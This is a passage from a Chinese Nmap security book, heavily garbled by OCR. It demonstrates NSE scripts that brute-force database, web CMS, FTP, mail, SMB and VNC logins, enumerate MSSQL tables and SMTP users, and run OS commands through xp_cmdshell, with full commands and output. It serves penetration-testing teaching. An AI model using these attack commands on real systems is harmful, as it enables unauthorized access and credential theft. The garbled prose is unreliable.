H b O a] DUdF -sV I T4, mysql-audit.username TR HE 5E (1) 52 H AR EUE FE K5,
mysql-audit.password LT $5 7€ K1 & H b5 8088 FE %00, W SR AR PEE RS 0 =%, WIZEE T B 25 o

[0} w#it oracte m

K 8.7 i ARFE AT T Nmap A&, RHPIMMHA S AN FHHLS—H 1 Oracle
=1,

=

%87 ATRE®HS
;[N ® B
mysql-databases MySQL 1| 5555045 42
mysgl-variables 5% MySQL 22 &




86 it Oracle B

B x ®m B
mysql-empty-password £ % MySQL %%
mysql-brute # 7 MySQL # 44
mysql-audit i i} MySQL &4t &
oracle-brute # it Oracle &%
ms-sql-brute #i1t msSQL # %
ms-sql-empty-password K7 msSQL =¥ 15
ms-sql-tables EHL msSQL e
ms-sql-xp-cmdshell msSQL 41 R4 v 4
pgsql-brute i1 PgSQL %%

BRESRE

1 F Ay % “nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=test F 45" Bl a3
fT® 7t Oracle 5.

root@Wing:~# nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=test
192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 21:29 CST
Nmap scan report for 192.168.126.131
Host is up (0.00032s latency).
PORT STATE SERVICE REASON
1521/tcp open oracle syn-ack
oracle-brute:
Accounts

haxxor:haxxor => Valid credentials

|
|
| system:powell => Account locked
|
| Statistics

|

Perfomed 157 guesses in 8 seconds, average tps: 19

Nmap done: 1 IP address (1 host up) scanned in 263.39 seconds
root@Wing:~#

DT

oracle-brute JIAF T2 JJBf# Oracle %15, fFH-p 38 Birin 5. #72 H & XK
SEM AT R A, T userdb IEINFE KT 7 H passdb 5 7] B AL A

root@Wing:~# nmap --script oracle-brute =-p 1521 --script-args oracle-brute.sid=test
-—-script-args

userdb=/tmp/usernames.txt,passdb=/tmp/passwords.txt 192.168.126.131
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Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 21:29 CST
Nmap scan report for 192.168.126.131

Host is up (0.00032s latency).

PORT STATE SERVICE REASON

1521/tcp open oracle syn-ack

| oracle-brute:

| Accounts

| system:powell => Account locked

| haxxor:haxxor => Valid credentials

| Statistics

| Perfomed 157 guesses in 8 seconds, average tps: 19

Nmap done: 1 IP address (1 host up) scanned in 393.56 seconds
root@Wing: ~#

[XB @it mssoL &

% 8.8 IR AARFE YT Nmap @R, RPN AT AN Prfiar@—i 7 msSQL

.
%88 ETRmEwL
;A "’ B

mysql-databases MySQL 51| 245404
mysql-variables F1|1%& MySQL 25 &
mysql-empty-password A MySQL %15
mysql-brute # i+ MySQL %1
mysql-audit # it MySQL %4l &
oracle-brute 7t Oracle #hi%
ms-sql-brute i msSQL FHG
ms-sql-empty-password A msSQL %1
ms-sql-tables 1 H msSQL %4
ms-sql-xp-cmdshell msSQL $4T R& a4
pgsql-brute #1t PgSQL %755

BIESR

i FH 4 “nmap -p 1433 --script ms-sql-brute --script-args userdb=name.txt,passdb=pass.txt
Hbx” BIA] 71 msSQL #H5.
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88 #® msSQL ZWD

passdb=pass.txt 192.168.84.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 21:44 PDT
Nmap scan report for 192.168.84.1

Host is up (0.00021s latency) .

PORT STATE SERVICE

1433/tcp open ms-sql-s

| ms-sgl-brute:

| sa:123456 => Login Success

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

root@Wing:~#

CEE E msSOL =HE

R 8.9 PIoan AR T Nmap 523, RPN AA/NT P ar@——HR2E msSQL

root@Wing:~# nmap -p 1433 --script ms-sgl-brute --script-args userdb=name.txt,

S,
%89 ATREWS
B & L -

mysql-databases MySQL % 24 5 4f
mysql-variables 5% MySQL A& it
mysql-empty-password ¥r#r MySQL %1%
mysql-brute #H i MySQL # 14
mysql-audit # i MySQL L4 H &
oracle-brute # 7t Oracle %1%
ms-sql-brute # 71 msSQL # %
ms-sql-empty-password K& msSQL ZEHH
ms-sql-tables B msSQL %4
ms-sql-xp-cmdshell msSQL AT R4
pgsql-brute H#i 7t PgSQL # g

BRIELR

fF#74 “nmap -p 1433 --script ms-sql-empty-password H#5x” #& msSQL &% .

root@Wing:~# nmap -p 1433 --script ms-sql-empty-password 192.168.126.1

Starting Nmap 6.40 ( http://nmap.org )

at 2014-06-12 22:03 CST
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Nmap scan report for 192.168.126.1
Host is up (0.00027s latency).
PORT STATE SERVICE

1433/tcp open ms-sgl-s

| ms-sql-empty-password:

| [192.168.126.1\PROD]

[l s sa:<empty> => Login Success

Nmap done: 1 IP address (1 host up) scanned in 231.16 seconds
root@Wing: ~#

7

{i H ms-sql-empty-password AR AR & msSQL %Y, & LSRRI LAB %0 H fr
FHLH msSQL # A4k 3 HEE R B mih, BMARRINFIIKS A sa.

[T izan mssoL 32

& 8.10 Fros AAFAIBTH Nmap i 3%, RHIIH & A AN B i &—— 3 msSQL

% 8.10 ATREWS
- ®m B
mysql-databases MySQL 41| &5 4
mysql-variables %1% MySQL 4%
mysql-empty-password Krfx MySQL #1%
mysql-brute # 1t MySQL %15
mysgl-audit H#i1 MySQL %4 il &
oracle-brute i 71 Oracle %4
ms-sql-brute #i71 msSQL #%
ms-sql-empty-password i £¥ msSQL 7 %%
ms-sql-tables BEH msSQL %3
ms-sql-xp-cmdshell msSQL 447 R &
pesql-brute i PgSQL %%
BRIESR

fff H iy 4 “nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.
Password=sa H#r” 1520 msSQL %i#f .
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root@Wing:~# nmap -p 1433 -script ms-sql-tables -script-args mssqgl.username=sa,
mssqgl.password=sa 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-12 21:51 PDT
Nmap scan report for 192.168.126.131
PORT STATE SERVICE
1433/tcp open ms-sql-s
| ms-sgl-tables:
pen
tablecolumn type length

products id int 4

products prodName varchar 50
usersuserId int 4
usersuserPass varchar 20
Restricticns

Output restricted to 2 tables (see mssqgl-tables.maxtables)
Output restricted to 5 databases (see mssqgl-tables.maxdb)

|
|
|
|
|
|
| users sername varchar 50
|
|
|
|
|
| No filter (see mssqgl-tables.keywords)

Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
root@Wing: ~#

A

i F§ ms-sql-tables A HE 7] LAEER msSQL H i, He, -p faE BHirimd . 205 ik
Tl mssql.username. mssql.password ¥5 %2 K5 % % . Nmap fif B ms-sql-tables A 7] PLAE 5 52 HL
HHAH Y ) 08

[X] mssosiismsme

X 8.11 Fion WAZE T Nmap 23K, RPN ML AN S

ITRG WL

msSQL 4,

*81 AEREGS
B & A
mysql-databases MySQL 1| 3<% s
mysql-variables ¥ 2% MySQL A8 it
mysql-empty-password K MySQL #14
mysql-brute #i 7 MySQL %3
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- I )
mysql-audit #H MySQL % 4Rl &
oracle-brute #7t Oracle %5
ms-sql-brute 1t msSQL &%
ms-sql-empty-password 27 msSQL ZH Y
ms-sql-tables EE msSQL ¥4
ms-sql-xp-cmdshell msSQL $ATR S S
pegsql-brute H PgSQL #15

BRIETER

@4 “nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.

password=sa,ms-sql-xp-cmdshell.cmd="ipconfig" H#x” Bl 7] &) msSQL $44T RS2

Nmap scan report for 192.168.126.1
Host is up (0.00027s latency) .
PORT STATE SERVICE

1433/tcp open ms-sql-s

command. )
ipconfig /all
output

Windows IP Configuration

|

|

|

|

|

|

| Host Name « o w = & & % & o &
| Primary Dns Suffix

| Node Type . . . . .

| IP Routing Enabled.

| WINS Proxy Enabled.

| DNS Suffix Search List.

|

| Ethernet adapter ,0\xDE\xA5:
[
|
|
|
|
|
I

Connection-specific DNS Suffix
Description

Physical Address. s %

DHCP Enabled. . + . . . .
Autoconfiguration Enabled . .
IP Address. . .

Starting Nmap 6.40 ( http://nmap.org )

root@Wing:~# nmap -p 1433 --script ms-sgl-xp-cmdshell --script-args mssqgl.username=sa,
mssqgl.password=sa,ms-sgl-xp-cmdshell.cmd="ipconfig" 192.168.126.1

at 2014-06-12 21:55 PDT

| ms-sgl-xp-cmdshell: (Use --script-args=mssgl-xp-cmdshell.cmd='<CMD>' to change

wing

Hybrid

No

No
localdomain

localdomain

Intel (R) PRO/1000 MT Network Connection
00-0D-29-06-18-F3

Yes

Yes

192.168.126.1



8.11 @it PgSQL g

| Subnet Mask « + s + + » & » +» » & 3 255.255.255.0
| Default Gateway . . . . . . . . . : 192.168.126.1
| DHCP Server . . . . . « « . . . . : 192.168.126.2
| DNS Bervwers . < s 5 + = & & & & & 2 192:168:126:.1
| Primary WINS Server « . « « « » « & 192.168,126.1
|

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds

root@Wing:~#

T

&) ms-sql-xp-cmdshell A, AR 28 K HIREIRA T T IBATH R RG4S, B
SIS B R DS AR T AME R BAT, Wi RIS AR AT IX AN A A T B A H b AR 5% 8% T
msSQL M55 iy 1 HL I8 0 4 1 ik 5% 4

(] wit posoL e

&K 8.12 PN AAFE T BT Nmap fir &K, RN A A /N BT an&——H8 7 PgSQL
%812 FHHERL
B X ® B
mysql-databases MySQL | %5 43 72
mysql-variables 514 MySQL 4% &t
mysql-empty-password 2 MySQL %%
mysql-brute #7i MySQL # 15
mysql-audit H i MySQL L4 &
oracle-brute 7t Oracle %15
ms-sql-brute # 7+ msSQL #ig
ms-sql-empty-password K #r msSQL A %5
ms-sql-tables BEE msSQL 4
ms-sql-xp-cmdshell msSQL HUUT R4 4
pgsql-brute #H it PgSQL #5
BRIESE

{# H#r 4 “nmap -p 5432 --script pgsql-brute H¥xr” B0 811 PgSQL 4.
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root@Wing:~# nmap -p 5432 --script pgsql-brute 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 13:58 CST
Nmap scan report for 192.168.126.131

Host is up (0.00032s latency).

PORT STATE SERVICE

5432/tcp open pgsql

| pgsgl-brute:

| root:<empty> => Valid credentials

|_ test:test => Valid credentials

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds
root@Wing:~#

D
pgsql-brute [ 42 PgSQL i FEmM M FEHLH it TR, HTRESH4A%.




AREEND S

o il HTTP &5k
o iUt FTP k4545

e H i Wordpress £+
e #H1l Joomla 27

o T HR A AR 55 A%

o # i} SMB 4

o Hit VNC k%48

o it SMTP iR 7%

o Kl Stuxnet #7 Ht
® SnMP &4 H it

<3

H 9 R BiEWhL

AT R4 Nmap BIAST 0 CMS #27. MRS . MERRERRl, AFEHEE5IA
TR THERGHE Stuxnet A MEAR  VIZPR A S 28 T AR R &, 1538 7 AR B (0 A8 bR v

AERA

R 9.1 PUNAAT TP Nmap i3, ANEIRE AR, EEFFIHER.

# 941 AERBHIAET (BFR
M o=x i
http-brute # i+ HTTP B3 I81IF
ftp-brute Hi 1t FTP R &5 2%
http-wordpress-brute #11 Wordpress F£/3
http-joomla-brute # 1t Joomla 2/
pop3-brute U RS A%




194

smb-brute.nse

H il SMB 14

vne-brute i VNC fik%28%

smtp-brute i1t SMTP AR5 2%

stuxnet-detect £l Stuxnet 45 H1

snmp-netstat

snmp-processes ;
i SNMP JIf % %487

snmp-win32-services
snmp-brute

[X =it wTTP s hmeiE

*® 9.2 PR AT PTG Nmap 33, RPN A A4/ as @——HiF HTTP

5O KA .
#9.2 AR S
® B

http-brute #Hit HTTP S4RAF
ftp-brute # it FTP k4%
http-wordpress-brute & 11 Wordpress 27
http-joomla-brute F 1t Joomla f&/F
pop3-brute TR PE IR S5 A%
smb-brute.nse #i SMB A4
vne-brute i VNC k%25
smtp-brute Wit SMTP R4 4%
stuxnet-detect Kl Stuxnet #5741
snmp-netstat
P SNMP M5 %4 i it

snmp-win32-services
snmp-brute

BRIEDE

1§ F 4> “nmap --script http-brute -p 80 HAx” B A% i HTTP £ 4.

root@Wing:~# nmap --script http-brute -p 80 www.Oday.com



9.2 EHItFTP fR%=8

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 11:26 CST
Nmap scan report for www.Oday.com (173.14.243.232)

Host 1s up (0.0023s latency).

rDNS record for 173.14.243.232: www.zeroday.com

PORT STATE SERVICE

80/tcp filtered http

| http-brute:

| Accounts

| Patrik Karlsson:secret => Valid credentials

| Statistics

| Perfomed 60023 guesses in 467 seconds, average tps: 138

Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds
root@Wing:~#

T

http-brute JIA<H] LAXT HTTP [ username Fl password BEAT ] 84 (1) 5 Sy A, 1FH-p S8
fe e AR . Lo BB 28 B A2 AR, http-brute JEIA B §E Ty 2 A EE Sk, eI AT LA
£ 8)) Burpsuite % & #H< A5 8 TR .

PR wit FIP B

9.3 s AR FE T Fril Nmap fir23, R i A</ 1 e & 4 2
S o

H it FTP

%93 ETEFEGS
®m B
http-brute #i it HTTP &4 5
ftp-brute it FTP fRE-3%

http-wordpress-brute

#7171 Wordpress F2/F

http-joomla-brute

H11 Joomla F2/F

pop3-brute Cilau: L&
smb-brute.nse #H1l SMB A4
vne-brute #HiF VNC ilk%2%
smtp-brute #H+ SMTP IR 45 2%

stuxnet-detect

AP Stuxnet 7% 11

snmp-netstat
snmp-processes
snmp-win32-services
snmp-brute

SNMP Jif 45 %4 vt
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BIESR
&4 “nmap --script ftp-brute -p 21 H#x” B[ & v+ FTP k%5 2%-

root@Wing:~# nmap --script ftp-brute -p 21 192.168.126.128

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 11:39 CST
Nmap scan report for 192.168.126.128

Host is up (0.00027s latency).

PORT STATE SERVICE

21/tcp open ftp

| ftp-brute:

| Accounts

| No valid accounts found

| Statistics

| Performed 10 guesses in 9 seconds, average tps: 1
|

|_ ERROR: Too many retries, aborted ...

MAC Address: 00:0C:29:D3:9D:B9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds
root@Wing: ~#

ZAXVIY
ftp-brute [ AT LA )i % FTP K S % 5, {H EMEABMAT), FERE - NMKSED
A AT HR

root@Wing:~# nmap —--script ftp-brute —--script-args userdb=user. txt,passdb=pass.txt -p 21
192.168.126.128

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 12:00 CST
Nmap scan report for 192.168.126.128

Host is up (0.00025s latency).

PORT STATE SERVICE

21/tcp open ftp

| my-ftp-brute:

| Accounts

| admin:admin - Valid credentials

| Statistics

l_ Performed 510 guesses in 610 seconds, average tps: 0
MAC Address: 00:0C:29:D3:9D:B9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.99 seconds

root@Wing: ~#

B T AR S 308 7 S5 RS U A HY K 5 %85 04 admin. 1R 2 ) FTP k55 AVFEE &
B, SRR FAIMAT LUER frp-anon BIAK M B A% EHL FTP ik 552 & LFEL &x.
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9.3 ®if Wordpress &%

root@Wing:~# nmap --script=ftp-anon 192.168.1.103

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 20:25 CST
Nmap scan report for 192.168.1.103

Host is up (1.0s latency).

Not shown: 986 closed ports

PORT STATE SERVICE

21/tcp open ftp

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| drw-rw-rw- 1 user group 0 Jun 16 22:18 Untitled [NSE: writeable]
|_drw-rw-rw- 1 user group 0 Jun 16 22:18 Untitled2 [NSE: writeable]

135/tep open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
514/tcp filtered shell

843/tcp open unknown
902/tcp open iss-realsecure
912/tcp open apex-mesh
7000/tcp open afs3-fileserver
8000/tcp open http-alt
49152/tcp open unknown
49153/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 136.62 seconds
root@Wing:~#

MR B AT A4, BHARENL FTP RS AFE R F %, JF H &AL Untitled. Untitled2
AN H X

EX) wit wordpress iz

R 94 i AENT Nmap &R, RIS AN mLS—8
Wordpress f£/7 .

*94 AYEHS
B & ® B
http-brute # 1+ HTTP S %1
ftp-brute it FTP R%-2%
http-wordpress-brute #Hit Wordpress F2FF
http-joomla-brute # 1t Joomla FEFF
pop3-brute o T AR 55 2%
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gox BENR

Bk
B XK % B
smb-brute.nse # i SMB 04
vne-brute #iil VNC IR%-4%
smtp-brute # 1} SMTP R4 %%
stuxnet-detect K Stuxnet 3
snmp-netstat
:Zzg:sjslge;f:esrvices NP Bs s
snmp-brute
BRIES R

{4 “nmap -p80 --script http-wordpress-brute H 5"~ B 7] # i1 Wordpress %4 .

root@Wing:~# nmap -p80 --script http-wordpress-brute 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 12:32 CST
Nmap scan report for 192.168.126.131

Host is up (0.00023s latency).

PORT STATE SERVICE

80/tcp open http

| http-wordpress-brute:

| Accounts

| root:root => Login correct

| Statistics

| Perfomed 103 guesses in 17 seconds, average tps: 6
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 19.16 seconds
root@Wing:~#

vaXil

http-wordpress-brute A 7] AR &7 4+ X%t Wordpress F2/FREAT 8, EitbA B4 E, &

AT CAFE BUAR PR A AT RS AR th K525 , 33065 T 0t (0 48 B8 57 S 2 — AN HEH ANEE 1K B SR I
TH.

A7 B E S 75 B E userdbs  passdb 11T i AH N ) T 4,

root@Wing:~# nmap -p80 --script http-wordpress-brute --script-args userdb=user.txt,
passdb=passwd.txt 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 12:36 CST
Nmap scan report for 192.168.126.131
Host is up (0.00023s latency).



94 it Joomla BF

PORT STATE SERVICE
80/tcp open http

| http-wordpress-brute:
| Accounts

| root:root => Login correct

| Statistics

| _ Perfomed 103 guesses in 17 seconds, average tps: 6
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 56.16 seconds
root@Wing: ~#

SRR L B, R BRI )

root@Wing:~# nmap -p80 --script http-wordpress-brute --script-args http-wordpress-
brute.threads=10 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 12:40 CST
Nmap scan report for 192.168.126.131

Host is up (0.00023s latency).

PORT STATE SERVICE

80/tcp open http

| http—wordpress-brute:

| Accounts

| root:root => Login correct

| Statistics

| Perfomed 103 guesses in 17 seconds, average tps: 6
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds
root@Wing: ~#

it Joomla B

* 9.5 s AR Hrds Nmap fir @&, RIS AN Frddn &
FEFF.

# 1l Joomla

9.5 ETRE®S
-3 I .
http-brute & i+ HTTP S48 1E
ftp-brute Hi vt FTP 45 4%
http-wordpress-brute Hi 1t Wordpress F/5
http-joomla-brute # 1t Joomla 2
pop3-brute CiRagifedi &
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FoE BEMK

g
B V.S & b2
smb-brute.nse # 1l SMB 14
vnc-brute Wi VNC R4 4%
smtp-brute vt SMTP s 2%
stuxnet-detect Kl Stuxnet i H1
snmp-netstat
g Bt SHMP JBS% 2
snmp-brute

BRIESR

{FH fir4 “nmap -p80 --script http-joomla-brute HAx” B ] Xt H AR Joomla F&/FHATIK 5 %
e ) 2 ) LA o

root@Wing:~# nmap -p80 --script http-joomla-brute 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 12:53 CST
Nmap scan report for 192.168.126.131

Host is up (0.00036s latency).

PORT STATE SERVICE

80/tcp open http

| http-joomla-brute:

| Accounts

| admin:admin => Login correct

| Statistics

| Perfomed 499 guesses in 301 seconds, average tps: 0
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 42.29 seconds
root@Wing: ~#

T

{4/l http-joomla-brute JHIA ] LA % 8 1 Joomla FEFF, AF g o0 st st 1 A 94 3 A5 2 7
EHZEA R AN EEAREN BRE TR E. RIS, BT A e kS Fms i,

4B Nl 2
1T B R IR o
root@Wing:~# nmap -p80 --script http-joomla-brute --script-args userdb=users.txt,

passdb=passwds.txt 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 12:56 CST
Nmap scan report for 192.168.126.131
Host is up (0.00036s latency).



PORT STATE SERVICE
80/tcp open http

| http-joomla-brute:
| Accounts

| admin:admin => Login correct

| Statistics

| Perfomed 499 guesses in 301 seconds, average tps: 0
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 128.56 seconds
root@Wing: ~#

BELR L E &2

root@Wing:~# nmap -p80 --script http-joomla-brute -—-script-args userdb=users.txt,
passdb=passwds.txt, http-joomla-brute.threads=5 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 13:00 CST
Nmap scan report for 192.168.126.131

Host is up (0.00036s latency).

PORT STATE SERVICE

80/tcp open http

| http-joomla-brute:

| Accounts

| admin:admin => Login correct

| Statistics

| Perfomed 499 guesses in 301 seconds, average tps: 0
MAC Address: 00:0C:29:EQ0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 31.10 seconds
root@Wing:~#

BOARFER 3, WAV HREN 5.

[X) witusermss

%% 9.6 TR AAFEA P Nmap 3%, RPN a0 AT prifiar &
4.

CiRauIEE i

%96 AHRE®S
B K )
http-brute i HTTP S350
ftp-brute H it FTP IR 454%
http-wordpress-brute # 1} Wordpress F2/#
http-joomla-brute # it Joomla FE/F
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pop3-brute BT HRA AR 45 2%
smb-brute.nse # it SMB 14
vne-brute H 1 VNC R 4%
smtp-brute 7 i+ SMTP iR 55 4%
stuxnet-detect il Stuxnet i 4

snmp-netstat
snmp-processes

SNMP 4522 it

snmp-win32-services

snmp-brute

BESER
i fiv % “nmap -p110 --script=pop3-brute H¥5" Bl A]Xf H br i MBIk 55 A5 3E AT 2 4 W vt

root@Wing:~# nmap -pll0 --script=pop3-brute 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 13:04 CST
Nmap scan report for 192.168.126.131

Host is up (0.00036s latency).

PORT STATE SERVICE

110/tcp open pop3

| pop3-brute-ported:

| Accounts:

| user:pass => Login correct

| Statistics:

| _ Performed 8 scans in 1 seconds, average tps: 8
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 39.15 seconds

root@Wing:~#

T

{8 H] pop3-brute IACRT LAXT HEFFAR 55 2 BEAT HvE, 3575 22 H E 7 ML FE 2R E passdb.
userdb P§NIEIIHE RE A A 7 4L .

[} #ismeoe

% 9.7 o AARFETT T Nmap @K, KA A S AANTITde—H it SMB



96 mtsmBOS

mE
%97 ATFRE®E
O
http-brute i+ HTTP 5356 1F
ftp-brute Bt FTP fR454%
http-wordpress-brute # 1+ Wordpress 727
http-joomla-brute 1t Joomla 2%
pop3-brute Gl &
smb-brute.nse #Hit SMB 04
vne-brute it VNC IR%-2%
smtp-brute Hi it SMTP IR 45 2%
stuxnet-detect I Stuxnet #55 Ht
snmp-netstat
xxﬂﬁstkws SNMP [ 45 % 4 it
snmp-brute

RIEDRE

{4 “nmap --script smb-brute.nse -p445 Hxr” BIAIXT H b SMB R4S 34T 0481t

MAC Address:

| smb-brute:

root@Wing: ~#

X il

Starting Nmap 6.40
Nmap scan report for 192.168.126.128
Host is up (0.00024s latency).
PORT STATE SERVICE

445/tcp open microsoft-ds
00:0C:29:D3:9D:B9

Host script results:

Nmap done: 1 IP address (1 host up)

root@Wing:~# nmap --script smb-brute.nse -p445 192.168.126.128

( http://nmap.org ) at 2014-06-13 13:10 CST

(VMware)

| administrator:<blank> => Valid credentials
| guest:<blank> => Valid credentials, account disabled
| wing:<blank> => Valid credentials

scanned in 6.71 seconds

§i F smb-brute.nse AR LAXF H Ar#3E1T SMB 041 &, UL LR EHEARIFERERE
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ARG O4, KRMLERK, BAMAT 6 BHR e 7 B rakr . 3 FER0%E
i, BAT1E T LAEH] passdb IE TR 7] — > H E X7 8.

root@Wing:~# nmap —=gcript smb-brute.nse --script-args passdb=pass.txt -p445
192.168.126.128

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 13:14 CST
Nmap scan report for 192.168.126.128

Host is up (0.00031s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

MAC Address: 00:0C:29:D3:9D:B9 (VMware)

Host script results:

| smb-brute:

| administrator:<blank> => Valid credentials

| guest:<blank> => Valid credentials, account disabled
| wing:<blank> => Valid credentials

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

root@Wing:~#

FIB wit we ms s

% 9.8 Fron AA TN T Nmap fir &2, RN &4 AN il dr&—— 71 VNC fik
Fao
BIESR

f# 4 “nmap --script vnc-brute -p 5900 HAx” # 1t VNC fR% 4%,

#0938 ATERERS
i I ®m R

http-brute #7 HTTP B354
ftp-brute di 7l FTP R 4-4%
http-wordpress-brute H7 11 Wordpress &%
http-joomla-brute H7 il Joomla F2JF
pop3-brute Cilag 10G0I 24
smb-brute.nse #i SMB 14
vnc-brute Bt VNC IR% 2%
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gk
B & .
smtp-brute H i SMTP %5 4%
stuxnet-detect K2l Stuxnet i 4
snmp-netstat
snmp-processes .
e _ SNMP i 24 it
snmp-win32-services
snmp-brute

root@Wing:~# nmap --script vnc-brute -p 5900 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 13:21 CST
Nmap scan report for 192.168.126.131

Host is up (0.00019s latency) .

PORT STATE SERVICE

5900/tcp open wvnc

| vnc-brute:

| Accounts

I_ 123456 => Valid credentials

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
root@Wing:~#

v2xi)

vne-brute AN AT DUR 1 H F VNC k454855 04 AT LAFI A userdb. passdb I $5
& B € X,

[} =it smmp s as

# 9.9 PR ARTENT# Nmap L3R, RH A HANTFrdaS—#H it SMTP
R 55 s o

%99 ATFFE®HS
B K #®m B
http-brute #1+ HTTP B3 IB1E
ftp-brute it FTP fR458%
http-wordpress-brute 71 Wordpress £+
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£o® BEME 00000000 -

wm B

http-joomla-brute 4711 Joomla #2)F
pop3-brute WU HR A R 45 4%
smb-brute.nse il SMB 114
vne-brute FH il VNC k45 4
::z—:;::-users S EMIE A
stuxnet-detect FU Stuxnet i
snmp-netstat
Zzzf::s::g;s—s::rvices P SRR
snmp-brute

BIESTR

i 74 “nmap -p 25 --script smtp-brute HFx” BIA] 8 i1 SMTP k45 3% .

root@Wing:~# nmap -p 25 --script smtp-brute 192.168.126.131

Starting Nmap 6.40 ( http://mmap.org ) at 2014-06-13 13:33 CST

Nmap scan report for 192.168.126.131
Host is up (0.00020s latency).
PORT STATE SERVICE
25/tcp open smtp
| smtp-brute:
Accounts
braddock:jules - Valid credentials
lane:sniper - Valid credentials

[
|
|
| parker:scorpio - Valid credentials
| Statistics

|

Performed 1160 guesses in 41 seconds, average tps:

MAC Address: 00:0C:29:E0:2E:76 (VMware)

33

Nmap done: 1 IP address (1 host up) scanned in 9.16 seconds

root@Wing: ~#

I

SMTP (Simple Mail Transfer Protocol) B f&] 5 M3 {FA 4 i, e & — 4L A T ik 30 H

Mot ARIE MR AR, e R RS PR ¥ 7. SMTP hUR T~ TCPAP Whillike, ‘& #Bh
B E A AR PG R I T — N H M. @id SMTP $h) i & B IR S5- 28, 5t 7T LA
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99 4 Stuxnet

1 E-mail 77 2IWEARIRS S ET, BRI P. SMTP RS 43N ZREE SMTP )
WK R AL MR 55 25 PR AR IR b A S L 1) | 7 Ao

{1 F smtp-brute ZEIH AT LAE 7 X STMP g 4528 HEAT 5 v, XA A T ol ol 4 2 B3 R I
/W= B2 giu] T

A BT MR A SZ 5 3 WU 75 AT N N PR IR AR DK 7, 3id VRFY L EXPN B¢ RCPT fin4,
Al LARCESHEAR T /5 AF Nmap (1A B smtp-enum-users U 7] LB S M 2552 R G T A I 7

root@Wing:~# nmap -p 25 --script=smtp-enum-users.nse smtp.XX.com

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 20:38 CST
Nmap scan report for smtp.XX.com (163.177.65.211)

Host is up (0.0078s latency).

PORT STATE SERVICE

25/tcp open smtp

| smtp-enum-users:

| admin

| adminadmin

| administrator
| user

| system

|

_  root

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
root@Wing:~#

M A5 R AT LLR BIMAEEH 6 N .

m i1 Stuxnet 15 &

% 9.10 PR AT AT FTH Nmap 2%, R IAar & 4N fir @——Hll Stuxnet
L2 N

#9.10 FTRRWS
B & L
http-brute # it HTTP G4 51E
ftp-brute H#i il FTP k%52
http-wordpress-brute i 1 Wordpress 27
http-joomla-brute # 1t Joomla F /¥
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gow pmwt

®
pop3-brute Cigau: i
Smb-brute.nse # 1+ SMB 14
vnc-brute H#iik VNC IR % 4%
smtp-brute 7 SMTP AR %% %
stuxnet-detect Hrfll Stuxnet 1%

snmp-netstat

SNMp-processes X
p-pre ) SNMP % % 4w it
snmp-win32-services

snmp-brute
BIESER

{f 4 “nmap --script stuxnet-detect -p 445 HAx” BT stuxnet i 5L .

root@Wing:~# nmap --script stuxnet-detect -p 445 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 13:42 CST
Nmap scan report for 192.168.126.131

Host is up (0.00032s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

| _stuxnet-detect: INFECTED (version 4c:04:00:00:01:00:00:00)
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.20 seconds

root@Wing: ~#

T

Stuxnet i HUKTE GBH T HaE) 2R E AL 1 TALE SR Z 9 S R
7, BERS A Windows RZEANFE[]T SIMATIC WinCC RZEM 7 MNRIAMEAT B B 52 5%
7117 A F ) SIMATIC WinCC #ifs 58K (SCADA) RE#ATH G, ZRGAERENZ
ANEEATI N T, 8 SR TANER L ) L BBV A TR H AT ANLAC B 5 Wi 5 . Stuxnet
